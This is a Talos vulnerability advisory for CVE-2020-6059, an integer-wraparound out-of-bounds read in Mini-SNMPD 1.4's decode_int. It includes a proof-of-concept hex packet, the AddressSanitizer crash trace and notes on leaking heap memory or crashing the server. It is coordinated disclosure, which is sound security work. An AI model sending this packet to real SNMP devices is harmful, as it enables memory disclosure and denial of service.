Talos Vulnerability Report

TALOS-2020-0976

Mini-SNMPD decode_int Information Leak Vulnerability

FEBRUARY 3, 2020

CVE NUMBER

CVE-2020-6059

Summary

An exploitable out of bounds read vulnerability exists in the way MiniSNMPD version 1.4 parses incoming SNMP packets. A specially crafted SNMP request can trigger an out of bounds memory read which can result in sensitive information disclosure and Denial Of Service. In order to trigger this vulnerability, an attacker needs to send a specially crafted packet to the vulnerable server.

Tested Versions

Mini-SNMPD 1.4

Product URLs

https://troglobit.com/projects/mini-snmpd/

CVSSv3 Score

8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CWE

CWE-190: Integer Overflow or Wraparound

Details

Mini-SNMPD is a lightweight implementation of a Simple Network Management Protocol server. Its low code size and memory footprint make it especially suitable for small and embedded devices. It is used, for example, by a number of devices based on OpenWRT project.

SNMP packets are described by ASN.1 specification and are encoded using BER encoding. In its most simplest form, these can be viewed as type-length-value fields. For this purpose, an SNMP packet parser implements a decoder for variable length integers. Decoding of signed integers is implemented in `decode_int` function in Mini-SNMPD:

```
static int decode_int(const unsigned char *packet, size_t size, size_t *pos, size_t len, int *value)
{
  unsigned int tmp;

  if (*pos >= (size - len + 1)) {                                        [1]
    lprintf(LOG_DEBUG, "underflow for integer\n");
    errno = EINVAL;
    return -1;
  }

  memset(&tmp, (packet[*pos] & 0x80) ? 0xFF : 0x00, sizeof(tmp));
  while (len--) {
    tmp = (tmp << 8) | packet[*pos];                                     [2]
    *pos = *pos + 1;
  }
  *(int *)value = tmp;

  return 0;
}
```

In the above code, `pos` is an index to the current byte of the packet that is being decoded, `len` represents the previously decoded length of the unsigned integer to be decoded and `size` is the total size of the packet. The check at [1] tests if there are enough bytes left in the packet to properly decode the integer, but an integer overflow is possible if `len` value is bigger than `size` value. Since the check is dealing with `size_t` types, this can lead to integer wraparound. With a large value of `len` this check passes and a while loop is entered where `pos` index can be incremented past the ends of the memory allocated for this packet.

Function `decode_int` is called when parsing two parts of the SNMP packet. Those are version number field and request ID field. Length of the version number field is checked to be `1`, though. To trigger this bug, following sample packet can be sent (with invalid integer size for request ID field):

```
p = "30" # sequence
p+= "3f" + "020100" + "0406" # length of sequence, integer , octet string
p+= "41"*6 #community string
p+= "a1" # request type
p+= "32" # request length
p+= "0282ffff"  # type and size of request id (length of lenght is 2)
p+= "21a35f68" # req id
p+= "0282" # int with the "length of length" 2
p+= "001d" # length of int
p+= "0100301e301c0615" # padding
p+= "2b06010201060d010300000000838000" # padding
p+= "0000000000" # padding
p+= "0282" # int with the "length of length" 2
p+= "0003" # length of int
p+= "00c000" # padding
p+= "3000" # padding
```

Above packet has an entry that specifies size of the request ID field. Normally, this would be limited to 4 byte integers. This value is directly used as `len` value in a call to `decode_int` function. If this value is bigger than the packet itself, `decode_int` will read off the end of the packet resulting in undefined behavior. Function `decode_int` will collect values it reads out of bounds into its return variable `val` and by sending multiple packets with variable sizes arbitrary amounts of memory can be read 4 bytes at a time.

If Address Sanitizer is enabled, parsing of the above packet results in a following crash:

```
=================================================================
==23156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00001f2b0 at pc 0x00000050a903 bp 0x7ffec92466b0 sp 0x7ffec92466a8
READ of size 1 at 0x61d00001f2b0 thread T0
addr2line: Dwarf Error: Info pointer extends beyond end of attributes
    #0 0x50a902 in decode_int /home/user/mini-snmpd/protocol.c:147
    #1 0x50a902 in decode_snmp_request /home/user/mini-snmpd/protocol.c:351
    #2 0x50a902 in snmp /home/user/mini-snmpd/protocol.c:923
    #3 0x50a902 in ?? ??:0
    #4 0x4ecaaf in handle_tcp_client_read /home/user/mini-snmpd/mini_snmpd.c:270
    #5 0x4ecaaf in main /home/user/mini-snmpd/mini_snmpd.c:590
    #6 0x4ecaaf in ?? ??:0
    #7 0x7f446ed1082f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
    #8 0x7f446ed1082f in ?? ??:0
    #9 0x419228 in _start ??:?
    #10 0x419228 in ?? ??:0

0x61d00001f2b0 is located 0 bytes to the right of 2096-byte region [0x61d00001ea80,0x61d00001f2b0)
allocated by thread T0 here:
    #0 0x4b9358 in __interceptor_malloc ??:?
    #1 0x4b9358 in ?? ??:0
    #2 0x4ec695 in main /home/user/mini-snmpd/mini_snmpd.c:586 (discriminator 1)
    #3 0x4ec695 in ?? ??:0
    #4 0x7f446ed1082f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
    #5 0x7f446ed1082f in ?? ??:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/user/mini-snmpd/mini_snmpd+0x50a902)
Shadow bytes around the buggy address:
  0x0c3a7fffbe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fffbe10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fffbe20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fffbe30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c3a7fffbe40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c3a7fffbe50: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa
  0x0c3a7fffbe60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fffbe70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fffbe80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fffbe90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3a7fffbea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==23156==ABORTING
```

Memory for these packets comes from `client_t` structure which is allocated on the heap. To abuse this vulnerability, multiple malformed packets that would align in memory could be sent. Additionally, accessing out of bounds memory at a large offset can access a unallocated memory which would lead to access violation and immediate crash resulting in Denial Of Service.

Timeline

2020-01-21 - Vendor Disclosure

2020-01-30 - Patch provided to vendor

2020-02-03 - Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

NEXT REPORT

TALOS-2019-0964

TALOS-2020-0977